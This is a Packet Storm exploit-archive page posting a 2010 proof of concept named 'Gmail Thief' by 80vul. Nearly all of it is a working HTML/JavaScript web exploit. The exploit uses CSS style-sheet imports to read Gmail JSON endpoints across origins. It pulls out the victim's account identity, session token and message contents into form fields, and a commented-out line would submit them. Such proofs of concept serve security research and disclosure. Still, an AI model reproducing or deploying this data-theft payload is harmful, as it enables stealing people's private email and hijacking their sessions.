exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gmail JSON Hijacking Proof Of Concept

Gmail JSON Hijacking Proof Of Concept
Posted Oct 15, 2010
Authored by 80vul | Site 80vul.com

Gmail JSON hijacking proof of concept exploit.

tags | exploit, proof of concept
SHA-256 | e29da0ce5d93b75b7ab2abf0e1ff62828137d9490550d776944f2ff038620363

Gmail JSON Hijacking Proof Of Concept

Change Mirror Download
<html>
<head>
<title>Gmail Thief by 80vul.com</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<style type="text/css">@import url("http://www.google.com/ig#restore");</style>
<style type="text/css"></style>
<style type="text/css"></style>
</head>
<body>
<textarea rows="20" cols="80" id="gnewsssrc"></textarea>
<input type="text" size="50" id="gdskey">
<iframe width="620" height="300" id="gdspage"></iframe>

<form name="sendmail" ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input type="text" size="50" id="whom">
<textarea rows="20" cols="80" id="gdsresult1" name="gdsresult1" ></textarea>
<textarea rows="20" cols="80" id="gdsresult2" name="gdsresult2" ></textarea>
<input VALUE="ok" TYPE="submit">
</form>

<script>
function showMail(gt){
var w = document.styleSheets(0).imports(1).cssText;
var re = new RegExp("account_idx3d(.+?)\"");
var reRes = re.exec(w);
if (reRes){
document.getElementById("whom").innerText = reRes[1];
}

var e = document.styleSheets(0).imports(2).cssText.split("e:");

for(i=0;i<e.length;i++){
var re = new RegExp("\"(.+?)\"");
var reRes = re.exec(e[i]);
if (reRes)
{
if(reRes[1].length==16){
var gmURL = "https://mail.google.com/mail/ig/mailjson?gt="+gt+"&th="+reRes[1];
if (document.styleSheets(1).imports.length<30){

document.styleSheets(1).addImport(gmURL);
}else{
document.styleSheets(2).addImport(gmURL);
}
}
}
}

setTimeout('getMail()',5000);
//setTimeout('document.sendmail.submit();',5000);
}


function getMail(){
var mail;
for(j=0;j<document.styleSheets(1).imports.length;j++){
mail =mail+ document.styleSheets(1).imports(j).cssText;
}
document.getElementById("gdsresult1").innerText = escape(mail);
}

function showResults()
{
var re = new RegExp("gt=(.+?)&'");
var reRes = re.exec(document.styleSheets(0).imports(1).cssText);
if (reRes)
{
var mURL = "https://mail.google.com/mail/ig/mailjson?url=http%3A//www.google.com/ig&lbl=^i&val=50&st=0&vw=max&gt="+reRes[1];
var gt=reRes[1];
document.styleSheets(0).addImport(mURL);
setTimeout('showMail("'+gt+'")', 5000);
}

}

var re = new RegExp("x26gacjx3d(.+?)x26fppx3d");
var reRes = re.exec(document.styleSheets(0).imports(0).cssText);

if (reRes)
{
document.getElementById("gdskey").innerText = reRes[1];
var searchURL = "https://mail.google.com/mail/ig/mailhome?gacj="+reRes[1];
document.styleSheets(0).addImport(searchURL);
document.getElementById("gdspage").src = searchURL;
setTimeout('showResults()', 5000);
}
else
{
document.getElementById("gdskey").innerText = "";
document.getElementById("gdsresult").innerText = "";
}

</script>

</body>

</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close